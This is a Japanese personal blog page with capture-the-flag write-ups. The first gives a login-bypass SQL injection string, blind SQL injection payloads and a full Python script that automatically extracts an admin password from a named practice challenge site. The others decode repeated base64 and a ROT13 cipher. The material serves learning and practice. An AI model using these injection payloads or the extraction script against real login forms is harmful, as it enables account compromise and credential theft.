ネットワークセキュリティやってます。技術よりも趣味と雑談が多めのブログです。最近はオンライン英会話にはまっています。
2025-02
- «
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
× [PR]上記の広告は3ヶ月以上新規記事投稿のないブログに表示されています。新しい記事を書く事で広告が消えます。
問題ページ
問題ページにはIDとPassの2つのフォームしかない。IDはadminと言われているので、Passを当てる問題と思われる。SQLの脆弱性を突く以下のような簡単なSQLインジェクションを試す。 ID = admin Pass = ' OR 'A'='A すると、PHPのページが表示された。やはりadminのパスワードが回答らしい。PHP構文がヒントというので、上から眺めるとSQLの構文があって、この構文の中の変数$idや$passに適切なSQLをはめ込めばパスワードを盗み出せるかもしれない。作戦はたったがどのようなSQLを入れればよいのかは分からない。そもそもSQLよく知らないし。困り果ててグーグル先生に”sqlインジェクション password”をたずねたら、偶然以下のサイトをみつけた。 ブラインドSQLインジェクション このブラインドSQLインジェクションは初耳だが、これをうまく使えばパスワードを推測できそう。かなりの試行錯誤をへて次のようなSQLをIDフォームに入れて(Passフォームは空欄)送信するとSQLインジェクションが成功した。 admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)<='Z'-- 何をしているかというと、IDがadminでかつadminのパスワードの1文字目がzよりも小さいなら正(SQLインジェクション成功)を返させる。なお、アルファベット英数文字の順序はアスキーコード表を参照すること。ZをCに変えてもう一度攻撃をするとログインエラーとなる。つまり、adminのパスワードの1文字目は、D~Zの23文字のいずれである。このようにパラメータを1つずつ変えながら試せば答えにたどり着くことできる。しかし、パスワードの長さによっては途中で挫折してしまうかもしれない。なので、パスワードの長さを知りたい衝動にかられる。短ければ気合で総当りすることもできる。 色々調べたらlength関数を使えばパスワードの長さが分かるかもしえれないので、これも試行錯誤して以下のようなSQLにたどり着いた。 admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100-- ここでは、IDがadminでかつadminのパスワードが100以下なら正とする。結果としてSQLインジェクションが成功した。先ほどと同様に100を少しずつ減らしていけばパスワードの長さがわかる。長さは、あまりがんばりたくない文字数でしたので、なんとか楽したいとおもいはじめる。 まず試したのは、ローカルプロキツール"burp proxy"でした。HTTP Requestをいったん止めてPOSTのパラメータを変えながら試せば効率が上がるとおもったからである。たしかに直接フォームにSQLを入れてためすよりは速度は速いが、やはり手動にはかわらないので数回やると萎えてしまう。 やはり、プログラミングで自動化したい! PythonによるHTTP通信のプログラミング経験はまったくないので、まずは以下のページを見てお勉強した。 urllib2 を使ってインターネット上のリソースを取得するには 格闘する3時間でやっとプログラミングが完成した。 import urllib
import urllib2
passwordlist = []
for i in range(1,50):
# パスワードの長さをブラインドSQLで探索
req = {'id':"admin' and (SELECT length(pass) FROM user WHERE id='admin') = " + str(i) + "--", 'pass':''}
params = urllib.urlencode(req)
url = 'http://ctfq.sweetduet.info:10080/~q6/'
request = urllib2.Request(url, params)
response = urllib2.urlopen(request)
data = response.read()
if len(data) > 2000:
# ログイン成功と失敗をresponse文の長さで判断
print "The password has " + str(i) + " characters"
passlen = i
break
for j in range(1,passlen + 1):
for x in range(33,127):
# "!"から"~"までの文字を総当り
req = {'id':"admin' and substr((SELECT pass FROM user WHERE id='admin')," + str(j) + ",1)='" + chr(x) + "'--", 'pass':''}
params = urllib.urlencode(req)
url = 'http://ctfq.sweetduet.info:10080/~q6/'
request = urllib2.Request(url, params)
response = urllib2.urlopen(request)
data = response.read()
if len(data) > 2000:
print chr(x),
passwordlist.append(chr(x))
break
password = "".join(passwordlist)
print ""
print "The password is " + password これを実行すると、adminのパスワードの文字数およびパスワード文字列が出てくる。 プログラムの前半はパスワード文字数を割り出して、後半ではパスワードの各文字を記号・英数文字の総当り検索を行っている。攻撃成功か失敗かはHTTPレスポンスのHTMLの長さで判断している。
問題ページ
Onion、たまねぎ?とりあえず意味不明。 問題ページを開くと、不規則な文字列の羅列がページ一面を占めている。まったく検討つかないので、最初の数文字"Vm0wd2"をグーグル先生に質問すると、検索結果にbase64が出てきたのでdecodingしてみる。1回decodeしても意味のある文字列が出てこなかったので、何回か連続してdecodeするためのpythonプログラムを作った。 import base64
decoding = base64.b64decode("Vm0wd2QyUXl~省略~xCVU1Fc0sK")
for x in range(0,15):
decoding = base64.b64decode(decoding)
print decoding レンジをいろいろいじったら、range(0,15)で意味ありげな文字列が出てきた。 begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU
end
何を意味しているかは不明なのでぐぐと、バイナリファイルの転送方法なるページにたどり着く。中身をみると、どうやらlinuxでuudecodeを実行すれば元のファイルを得られるようだ。そのとおりにやってみたら、Flagがかかれているファイルが生成された。
pythonを少し勉強したので、プログラミングの練習のためksnctfの#2を解いてみたのでWrite-Upを残す。
問題のページ 問題文が暗号されているので、これを解読すれば解答となるFlagがありそう。fvzcyrでぐぐってみたらどうやらシーザー暗号らしい。何文字ずれているかを調べるため次のようなpythonプログラムを作った。 import string
sample="fvzcyr"
result=[]
for y in range(1,27):
for x in range(len(sample)):
check = ord(sample[x])+y
if check > 122:
check = check-26
result.append(chr(check))
print "".join(result)
result = [] ここでは、暗号文の中から適当にサンプル暗号文"fvzcyr"を選んで、すべてアルファベットを1~26文字ずらしてみたら以下のような結果がでた。 gwadzs
hxbeat
iycfbu
jzdgcv
kaehdw
lbfiex
mcgjfy
ndhkgz
oeilha
pfjmib
qgknjc
rhlokd
simple
tjnqmf
ukorng
vlpsoh
wmqtpi
xnruqj
yosvrk
zptwsl
aquxtm
brvyun
cswzvo
dtxawp
euybxq
fvzcyr
26個の暗号前単語候補のなかで、13番目のsimpleが唯一”読める”単語だったので、このシーザー暗号の解読は13文字をずらすと考えられる。 何文字をずらすかを分かったので、次に元の暗号文全体を13文字ずらすプログラムを書いた。 import string
sample="EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT."
result=[]
for x in range(len(sample)):
check = ord(sample[x])
if 65 <= check < 65 + 26:
check = check + 13
if check > 90:
check = check - 26
elif 97 <= check < 97 + 26:
check = check + 13
if check > 122:
check = check - 26
else:
check = check
result.append(chr(check))
print "".join(result)
これを実行すると、暗号文は以下のように復号される。 ROT XIII is a simple letter substitution cipher that replaces a letter with the letter XIII letters after it in the alphabet. ROT XIII is an example of the Caesar cipher, developed in ancient Rome. Flag is FLAGSwzgxBJSAMqwxxAU. Insert an underscore immediately after FLAG. "FLAGSwzgxBJSAMqwxxAU"がFlagだが、そのあとの文を読まないと本当のFlagが得られない。 もっと簡単に解ける関数もあるかもしれないが、今回はpythonを勉強したばっかでしたので、for文をできるだけ多く書いた。 |
プロフィール
HN:
ぜん吉
性別:
男性
職業:
割と自由なリーマン
趣味:
海外出張
自己紹介:
2006年のCCNA合格を皮切りにCCIE-RSを含めて数々のシスコ資格をパスし、2009年に念願の海外受験(ドバイ)でCCIE-SCを取得。そして、2010年に目標だったトリプルCCIEを香港の地にて達成した。今はネットワークセキュリティやデータ分析などをやっています。
■2006年の目標 CCNA(達成) ■2007年の目標 CCNP(達成) CCDA(達成) CCDP(達成) CCIP(達成) ■2008年の目標 CCSP(達成) CCIE-RS(達成) TOEIC700点(達成) ■2009年の目標 CCIE-Sec(達成) TOEIC800点(達成) JNCIA-JUNOS(達成) ■2010年の目標 JNCIA-M(達成) CCIE-SP(達成) JNCIS-M(達成) JNCIA-EX(達成) JNCIS-SEC(達成) ■2011年の目標 異動(未達成) ■2012年の目標 異動(未達成) TOEIC850点(達成) ■2013年の目標 異動(達成) CCIE更新(達成) ■2015年の目標 本を出す(達成) ■2017年の目標 TOEIC900(達成) TOEIC950(達成) ■2018年の目標 英検1級(達成) ■2019年の目標 海外勤務 ![]() |